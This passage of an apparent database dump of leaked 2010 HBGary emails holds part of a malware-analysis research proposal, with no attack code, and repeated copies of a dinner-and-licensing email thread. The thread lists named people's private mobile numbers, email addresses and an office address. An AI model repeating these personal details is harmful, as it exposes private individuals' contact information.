specimens.\r\n Pre-processor. &nbsp;Provides\r\n     external analysis and instrumentation for all incoming specimens. &nbsp;In\r\n     this phase, static binary analysis is performed, automated over time,\r\n     unpacking, de-obfuscating, reconstructing, and performing binary\r\n     instrumentation to assist in further automated analysis. &nbsp;Some\r\n     specimens of contemporary malware contain anti-analysis techniques, these\r\n     techniques will likely increase over time. &nbsp;We will conduct research\r\n     into binary pre-processing and instrumentation to identify and mitigate\r\n     these techniques, and to normalize as much as possible all malware prior\r\n     to execution. &nbsp;Once operationalized other inputs could be included\r\n     into the pre-processor such as open source and intelligence information.\r\n Specimens Repository. This is the\r\n     central repository for specimen raw files as well as analytical\r\n     information collected during pre-processing and the analysis process.\r\n     &nbsp;HBGary brings an existing malware repository, approximately 500GB of\r\n     unique malware samples to start the effort. &nbsp;In this area we will\r\n     conduct research for data format normalization and standardization for\r\n     malware analysis results. &nbsp;Information maintained will include;\r\n     specimen raw files, hard artifacts, associated traits and genomes, all low\r\n     level data recorded through static and runtime analysis, and a full\r\n     malware physiology profile.\r\n Specimen Analysis &amp;\r\n     Visualization Interface (SAVI). &nbsp;Methodology for streamlined analysis\r\n     to assist in identifying new traits and genomes as well as present malware\r\n     physiology profiles once a specimen has been processed. Research will\r\n     focus on visual representations of malware data to aid in analysis and\r\n     understanding of malware\'s functions and behaviors and purpose. &nbsp;When\r\n     there are function and behavior traits or genome sequences that are not\r\n     fully understood by the automated system, those are flagged in the malware\r\n     physiology profile stored in the specimen repository and scheduled for\r\n     manual analysis. &nbsp;Both HBGary and Pikewerks have industry leading\r\n     experience and products analyzing windows and linux-based malware.\r\n     &nbsp;SecureDecisions is a market leader in developing advanced\r\n     visualization capabilities for a variety of datasets.\r\n Traits (Gene) Library.\r\n     &nbsp;Developed trait rules that represent discrete functions and\r\n     behaviors of software. &nbsp;We propose the best methodology for\r\n     understanding the aggregate functions, behaviors, and purpose of malware\r\n     is to first identify and understand the discrete expressed parts of\r\n     malware describe them in a way that can be classified and mathematically\r\n     calculated. &nbsp;Both HBGary and Pikewerks have existing methodologies\r\n     for detecting malware based on behavioral charateristics/traits.\r\n     &nbsp;This unique knowledge will significantly aid in our research and\r\n     development of traits for more complex behavioral and functional\r\n     understanding.\r\n Genomes Library. &nbsp;Much like\r\n     biological gene/trait sequences. &nbsp;To understand how a biological\r\n     system works, or how genes are expressed within an aggregated system you\r\n     need to understand the importances of sequences, ordering, and clustering\r\n     of traits. &nbsp;Our research here will focus on identifying trait\r\n     patterns that express an aggregated functionality or behavior. &nbsp;These\r\n     are the algorithms and patterns used to develop the visual and\r\n     mathematical graphs that examine the malwares overall function, purpose,\r\n     severity.&nbsp; Develop behavior and function correlation engines and\r\n     visual representations based on exhibited traits, external and\r\n     environmental artifacts, space and temporal artifact relationships,\r\n     sequencing, etc. (fuzzy hashing, etc.)\r\n Static Memory Analysis and\r\n     Runtime Tracing Engine (SMART) - Uses a combination of static memory\r\n     analysis and runtime tracing techniques to record as much of the malware\r\n     internals as possible, including exercising as much of the full execution\r\n     tree as possible. &nbsp;Our research will focus on full branch execution\r\n     as well as automated analysis and tracing. &nbsp;HBGary and Pikwerks have\r\n     existing semi-automated technologies that we can leverage for the research\r\n     and development in this task.\r\n Bayesian Reasoning Analysis and\r\n     Inference Node (BRAIN). &nbsp;As our understanding of malware internals\r\n     and the relationships of traits and genomes matures we should be able to\r\n     instrument something like a bayesian reasoning engine to automatically\r\n     identify mutations within the genomes and classify those mutations to some\r\n     degree without any manual analysis. &nbsp;Our research will focus on\r\n     building the malware behavior and function inference models to do the\r\n     automated analysis of malware.\r\n Cyber Physiology Profile.\r\n     &nbsp;These profiles are the output of the analysis processes and contain\r\n     both mathmatical and human readable representations (fingerprints) of a\r\n     specimens aggregate functions, behaviors, and intent. &nbsp;These profiles\r\n     are stored in the repository for future quick retrieval.\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/18/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/18/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6762,'aaron_hbgary_com/6762.html'),(4285,'2010-03-19','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297002298.M727437P3547Q4285.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,nathan.atherley@gmail.com,ray.owen@comcast.net,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,nathan.atherley@gmail.com','RE: Thursday dinner','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Penny.  I appreciate the introduction and really\r\nappreciate the DDNA license.  Before y’all send that along, let me connect Jim\r\nwith our lab people and so they can work this out directly.  They need to work\r\nthe legal process carefully  and also assess where this would fit into the lab’s\r\ncurrent configuration.\r\n\r\n&nbsp;\r\n\r\nAaron, got your VM.  Thanks for calling.  The next week is\r\ncrazy.  Are you going to the Palantir event on the 7th?  \r\n\r\nCheers,\r\n\r\nIrv\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, March 19, 2010 2:11 PM\r\nTo: Lachow, Irving; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nCc: \'Jim Richards\'; \'Aaron Barr\'\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIrving,\r\n\r\n&nbsp;\r\n\r\nIt was great to finally meet you too.&nbsp;&nbsp; I’ll let you\r\nknow when I’m out in DC.&nbsp;&nbsp; I’ll forward info to Greg.&nbsp; That\r\ndone, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim\r\nRichards, Global Training.\r\n\r\n&nbsp;\r\n\r\nAaron, meet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp;\r\nIrving is spearheading the development effort which we will be participating\r\nwith Ray and Nathan.&nbsp; I know we’ve tried to get with Ray when he’s out in\r\nDC, but feel free to contact Irving directly.&nbsp; He can be reached at\r\n202-903-7722 (mobile)&nbsp; Ray can be reached at 650-464-5570\r\n\r\n&nbsp;\r\n\r\nJim, please send Irving Responder Pro with DDNA license for one\r\nyear and Field Edition for his training room.&nbsp; Irving is at National\r\nDefense University.&nbsp; Irving, the Responder Pro/DDNA is the instructor\r\nlicense.&nbsp; Responder Field Edition has a malware analysis module and\r\nforensic module.&nbsp; How many copies do you need for workstations?&nbsp;\r\nWe’ll also send you our training and some flip books that allow students to have\r\na take away.&nbsp; \r\n\r\n&nbsp;\r\n\r\n300 5th Avenue Bldg 62\r\n\r\nMarshall Hall Room 183H\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319-5066\r\n\r\n&nbsp;\r\n\r\nTTYS\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Friday, March 19, 2010 8:25 AM\r\nTo: Penny Leavy-Hoglund; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi there.&nbsp; Just wanted to thank you all for a very\r\nenjoyable dinner.&nbsp; It was great company and I enjoyed learning more about\r\nHB Gary.\r\n\r\n&nbsp;\r\n\r\nPenny, let me know if you want POCs at Triumfant.&nbsp; Greg\r\nseemed interested in learning more about them.&nbsp; Speaking of Greg, please\r\nforward this to him.&nbsp; When you have a moment, can you connect me with your\r\nFederal team?&nbsp; Finally, there is the link to the Palantir event in April: http://palantirtech.eventbrite.com/.&nbsp;\r\nI got the date wrong, it is April 7th not 5th.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nIrv\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, March 18, 2010 12:56 PM\r\nTo: Lachow, Irving; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK, sounds good\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Thursday, March 18, 2010 7:01 AM\r\nTo: nathan.atherley@gmail.com; penny@hbgary.com; ray.owen@comcast.net\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNate, sorry about that. I hope you can join us soon. I don\'t have\r\nto leave for a SFO until 8 or so. \r\n_____________________ \r\nSent from my Blackberry. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley &lt;nathan.atherley@gmail.com&gt;\r\n\r\nTo: Penny C. Hoglund &lt;penny@hbgary.com&gt;; Lachow, Irving; Ray Owen\r\n&lt;ray.owen@comcast.net&gt; \r\nSent: Thu Mar 18 07:55:30 2010\r\nSubject: Thursday dinner \r\n\r\n\r\n\r\n\r\n\r\nRay, Irv, Penny\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust to close the loop from my end.&nbsp; I talked to Ray\r\nlast night and I believe Irv has got to catch a red eye tonight.&nbsp; So lets\r\ngo back to the 6PM dinner time.&nbsp; I will be there as soon as possible.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSpalti\'s restaurant\r\n\r\n\r\n\r\n\r\n\r\n417 S. California Ave\r\n\r\n\r\n\r\n\r\n\r\nPalo Alto, CA\r\n\r\n\r\n\r\n\r\n\r\n650-327-9390\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',734,'aaron_hbgary_com/734.html'),(4286,'2010-03-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002298.M947828P3547Q4286.eml','\"Lachow, Irving\" <LachowI@ndu.edu>,nathan.atherley@gmail.com,ray.owen@comcast.net,\"Lachow, Irving\" <LachowI@ndu.edu>,nathan.atherley@gmail.com','RE: Thursday dinner','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, that is fine.   We have been sponsored as I told you to\r\ntrain Federal, State and Local Law enforcement personnel by DHS, so perhaps\r\nthat helps\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Friday, March 19, 2010 3:12 PM\r\nTo: Penny Leavy-Hoglund; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nCc: Jim Richards; Aaron Barr\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Penny.&nbsp; I appreciate the introduction and really\r\nappreciate the DDNA license.&nbsp; Before y’all send that along, let me connect\r\nJim with our lab people and so they can work this out directly.&nbsp; They need\r\nto work the legal process carefully&nbsp; and also assess where this would fit\r\ninto the lab’s current configuration.\r\n\r\n&nbsp;\r\n\r\nAaron, got your VM.&nbsp; Thanks for calling.&nbsp; The next\r\nweek is crazy.&nbsp; Are you going to the Palantir event on the 7th?&nbsp;\r\n\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, March 19, 2010 2:11 PM\r\nTo: Lachow, Irving; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nCc: \'Jim Richards\'; \'Aaron Barr\'\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIrving,\r\n\r\n&nbsp;\r\n\r\nIt was great to finally meet you too.&nbsp;&nbsp; I’ll let you\r\nknow when I’m out in DC.&nbsp;&nbsp; I’ll forward info to Greg.&nbsp; That\r\ndone, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim\r\nRichards, Global Training.\r\n\r\n&nbsp;\r\n\r\nAaron, meet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp;\r\nIrving is spearheading the development effort which we will be participating\r\nwith Ray and Nathan.&nbsp; I know we’ve tried to get with Ray when he’s out in\r\nDC, but feel free to contact Irving directly.&nbsp; He can be reached at 202-903-7722\r\n(mobile)&nbsp; Ray can be reached at 650-464-5570\r\n\r\n&nbsp;\r\n\r\nJim, please send Irving Responder Pro with DDNA license for one\r\nyear and Field Edition for his training room.&nbsp; Irving is at National\r\nDefense University.&nbsp; Irving, the Responder Pro/DDNA is the instructor\r\nlicense.&nbsp; Responder Field Edition has a malware analysis module and\r\nforensic module.&nbsp; How many copies do you need for workstations?&nbsp;\r\nWe’ll also send you our training and some flip books that allow students to\r\nhave a take away.&nbsp; \r\n\r\n&nbsp;\r\n\r\n300 5th Avenue Bldg 62\r\n\r\nMarshall Hall Room 183H\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319-5066\r\n\r\n&nbsp;\r\n\r\nTTYS\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Friday, March 19, 2010 8:25 AM\r\nTo: Penny Leavy-Hoglund; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi there.&nbsp; Just wanted to thank you all for a very\r\nenjoyable dinner.&nbsp; It was great company and I enjoyed learning more about\r\nHB Gary.\r\n\r\n&nbsp;\r\n\r\nPenny, let me know if you want POCs at Triumfant.&nbsp; Greg\r\nseemed interested in learning more about them.&nbsp; Speaking of Greg, please\r\nforward this to him.&nbsp; When you have a moment, can you connect me with your\r\nFederal team?&nbsp; Finally, there is the link to the Palantir event in April: http://palantirtech.eventbrite.com/.&nbsp;\r\nI got the date wrong, it is April 7th not 5th.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nIrv\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, March 18, 2010 12:56 PM\r\nTo: Lachow, Irving; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK, sounds good\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Thursday, March 18, 2010 7:01 AM\r\nTo: nathan.atherley@gmail.com; penny@hbgary.com; ray.owen@comcast.net\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNate, sorry about that. I hope you can join us soon. I don\'t have\r\nto leave for a SFO until 8 or so. \r\n_____________________ \r\nSent from my Blackberry. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley\r\n&lt;nathan.atherley@gmail.com&gt; \r\nTo: Penny C. Hoglund &lt;penny@hbgary.com&gt;; Lachow, Irving; Ray Owen\r\n&lt;ray.owen@comcast.net&gt; \r\nSent: Thu Mar 18 07:55:30 2010\r\nSubject: Thursday dinner \r\n\r\n\r\n\r\n\r\n\r\nRay, Irv, Penny\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust to close the loop from my end.&nbsp; I talked to Ray\r\nlast night and I believe Irv has got to catch a red eye tonight.&nbsp; So lets\r\ngo back to the 6PM dinner time.&nbsp; I will be there as soon as possible.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSpalti\'s restaurant\r\n\r\n\r\n\r\n\r\n\r\n417 S. California Ave\r\n\r\n\r\n\r\n\r\n\r\nPalo Alto, CA\r\n\r\n\r\n\r\n\r\n\r\n650-327-9390\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13604,'aaron_hbgary_com/13604.html'),(4287,'2010-03-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002299.M146141P3547Q4287.eml','\"Barr Aaron\" <aaron@hbgary.com>','Email','I didn\'t get the email you mentioned\r\n',10591,'aaron_hbgary_com/10591.html'),(4288,'2010-03-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002299.M347645P3547Q4288.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Thursday dinner','From my iPhoneBegin forwarded message:From: &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt;\r\nDate: March 19, 2010 6:11:47 PM EDTTo: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;, &lt;nathan.atherley@gmail.com&gt;, &lt;ray.owen@comcast.net&gt;\r\nCc: &quot;Jim Richards&quot; &lt;jim@hbgary.com&gt;, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\nThanks Penny.  I appreciate the introduction and really\r\nappreciate the DDNA license.  Before y’all send that along, let me connect Jim\r\nwith our lab people and so they can work this out directly.  They need to work\r\nthe legal process carefully  and also assess where this would fit into the lab’s\r\ncurrent configuration.\r\n\r\n \r\n\r\nAaron, got your VM.  Thanks for calling.  The next week is\r\ncrazy.  Are you going to the Palantir event on the 7th?  \r\n\r\nCheers,\r\n\r\nIrv\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, March 19, 2010 2:11 PM\r\nTo: Lachow, Irving; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nCc: &#39;Jim Richards&#39;; &#39;Aaron Barr&#39;\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nIrving,\r\n\r\n \r\n\r\nIt was great to finally meet you too.   I’ll let you\r\nknow when I’m out in DC.   I’ll forward info to Greg.  That\r\ndone, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim\r\nRichards, Global Training.\r\n\r\n \r\n\r\nAaron, meet Irving Lachow, Ray Owen and Nathan Atherley. \r\nIrving is spearheading the development effort which we will be participating\r\nwith Ray and Nathan.  I know we’ve tried to get with Ray when he’s out in\r\nDC, but feel free to contact Irving directly.  He can be reached at\r\n202-903-7722 (mobile)  Ray can be reached at 650-464-5570\r\n\r\n \r\n\r\nJim, please send Irving Responder Pro with DDNA license for one\r\nyear and Field Edition for his training room.  Irving is at National\r\nDefense University.  Irving, the Responder Pro/DDNA is the instructor\r\nlicense.  Responder Field Edition has a malware analysis module and\r\nforensic module.  How many copies do you need for workstations? \r\nWe’ll also send you our training and some flip books that allow students to have\r\na take away.  \r\n\r\n \r\n\r\n300 5th Avenue Bldg 62\r\n\r\nMarshall Hall Room 183H\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319-5066\r\n\r\n \r\n\r\nTTYS\r\n\r\nPenny\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Friday, March 19, 2010 8:25 AM\r\nTo: Penny Leavy-Hoglund; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi there.  Just wanted to thank you all for a very\r\nenjoyable dinner.  It was great company and I enjoyed learning more about\r\nHB Gary.\r\n\r\n \r\n\r\nPenny, let me know if you want POCs at Triumfant.  Greg\r\nseemed interested in learning more about them.  Speaking of Greg, please\r\nforward this to him.  When you have a moment, can you connect me with your\r\nFederal team?  Finally, there is the link to the Palantir event in April: http://palantirtech.eventbrite.com/. \r\nI got the date wrong, it is April 7th not 5th.\r\n\r\n \r\n\r\nRegards,\r\n\r\nIrv\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, March 18, 2010 12:56 PM\r\nTo: Lachow, Irving; nathan.atherley@gmail.com; ray.owen@comcast.net\r\nSubject: RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nOK, sounds good\r\n\r\n \r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Thursday, March 18, 2010 7:01 AM\r\nTo: nathan.atherley@gmail.com; penny@hbgary.com; ray.owen@comcast.net\r\n\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nNate, sorry about that. I hope you can join us soon. I don&#39;t have\r\nto leave for a SFO until 8 or so. \r\n_____________________ \r\nSent from my Blackberry. \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley &lt;nathan.atherley@gmail.com&gt;\r\n\r\nTo: Penny C. Hoglund &lt;penny@hbgary.com&gt;; Lachow, Irving; Ray Owen\r\n&lt;ray.owen@comcast.net&gt; \r\nSent: Thu Mar 18 07:55:30 2010\r\nSubject: Thursday dinner \r\n\r\n\r\n\r\n\r\n\r\nRay, Irv, Penny\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust to close the loop from my end.  I talked to Ray\r\nlast night and I believe Irv has got to catch a red eye tonight.  So lets\r\ngo back to the 6PM dinner time.  I will be there as soon as possible.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSpalti&#39;s restaurant\r\n\r\n\r\n\r\n\r\n\r\n417 S. California Ave\r\n\r\n\r\n\r\n\r\n\r\nPalo Alto, CA\r\n\r\n\r\n\r\n\r\n\r\n650-327-9390\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6995,'aaron_hbgary_com/6995.html'),(4289,'2010-03-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002299.M587702P3547Q4289.eml','\"Lachow, Irving\" <LachowI@ndu.edu>,\"Lachow, Irving\" <LachowI@ndu.edu>,,,','Re: Thursday dinner','I will be at GovCon on the 7th. &nbsp;HBGary will have a booth. &nbsp;Look forward to seeing you there.On Mar 19, 2010, at 6:11 PM, Lachow, Irving wrote:Thanks Penny.&nbsp; I appreciate the introduction and really appreciate the DDNA license.&nbsp; Before y’all send that along, let me connect Jim with our lab people and so they can work this out directly.&nbsp; They need to work the legal process carefully&nbsp; and also assess where this would fit into the lab’s current configuration.&nbsp;Aaron, got your VM.&nbsp; Thanks for calling.&nbsp; The next week is crazy.&nbsp; Are you going to the Palantir event on the 7th?&nbsp;Cheers,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 19, 2010 2:11 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netCc:&nbsp;\'Jim Richards\'; \'Aaron Barr\'Subject:&nbsp;RE: Thursday dinner&nbsp;Irving,&nbsp;It was great to finally meet you too.&nbsp;&nbsp; I’ll let you know when I’m out in DC.&nbsp;&nbsp; I’ll forward info to Greg.&nbsp; That done, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim Richards, Global Training.&nbsp;Aaron, meet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp; Irving is spearheading the development effort which we will be participating with Ray and Nathan.&nbsp; I know we’ve tried to get with Ray when he’s out in DC, but feel free to contact Irving directly.&nbsp; He can be reached at 202-903-7722 (mobile)&nbsp; Ray can be reached at 650-464-5570&nbsp;Jim, please send Irving Responder Pro with DDNA license for one year and Field Edition for his training room.&nbsp; Irving is at National Defense University.&nbsp; Irving, the Responder Pro/DDNA is the instructor license.&nbsp; Responder Field Edition has a malware analysis module and forensic module.&nbsp; How many copies do you need for workstations?&nbsp; We’ll also send you our training and some flip books that allow students to have a take away.&nbsp;&nbsp;300 5th&nbsp;Avenue Bldg 62Marshall Hall Room 183HFort Lesley J. McNairWashington, DC 20319-5066&nbsp;TTYSPenny&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Friday, March 19, 2010 8:25 AMTo:&nbsp;Penny Leavy-Hoglund;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;Hi there.&nbsp; Just wanted to thank you all for a very enjoyable dinner.&nbsp; It was great company and I enjoyed learning more about HB Gary.&nbsp;Penny, let me know if you want POCs at Triumfant.&nbsp; Greg seemed interested in learning more about them.&nbsp; Speaking of Greg, please forward this to him.&nbsp; When you have a moment, can you connect me with your Federal team?&nbsp; Finally, there is the link to the Palantir event in April:&nbsp;http://palantirtech.eventbrite.com/.&nbsp; I got the date wrong, it is April 7th&nbsp;not 5th.&nbsp;Regards,Irv&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 12:56 PMTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;RE: Thursday dinner&nbsp;OK, sounds good&nbsp;From:&nbsp;Lachow, Irving [mailto:LachowI@ndu.edu]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 7:01 AMTo:&nbsp;nathan.atherley@gmail.com;&nbsp;penny@hbgary.com;&nbsp;ray.owen@comcast.netSubject:&nbsp;Re: Thursday dinner&nbsp;Nate, sorry about that. I hope you can join us soon. I don\'t have to leave for a SFO until 8 or so.&nbsp;_____________________&nbsp;Sent from my Blackberry.&nbsp;From: Nathan Atherley &lt;nathan.atherley@gmail.com&gt;&nbsp;To: Penny C. Hoglund &lt;penny@hbgary.com&gt;; Lachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt;&nbsp;Sent: Thu Mar 18 07:55:30 2010Subject: Thursday dinnerRay, Irv, Penny&nbsp;Just to close the loop from my end.&nbsp; I talked to Ray last night and I believe Irv has got to catch a red eye tonight.&nbsp; So lets go back to the 6PM dinner time.&nbsp; I will be there as soon as possible.&nbsp;Thanks&nbsp;nathan&nbsp;Spalti\'s restaurant417 S. California AvePalo Alto, CA650-327-9390&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2279,'aaron_hbgary_com/2279.html'),(4290,'2010-03-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002299.M846564P3547Q4290.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Malware Genome and Attribution','Sounds good.  What dates are you thinking of?  If it could be after the 29th.  We are priming one of the Darpa Cyber Genome Technical Areas and proposals are due on the 29th.\r\n\r\nAaron\r\n\r\nOn Mar 19, 2010, at 1:14 PM, Bodman, Jerry M wrote:\r\n\r\n> Yes please.\r\n> \r\n> How about the last week in March?\r\n> \r\n> Matt \r\n> \r\n> -----Original Message-----\r\n> From: 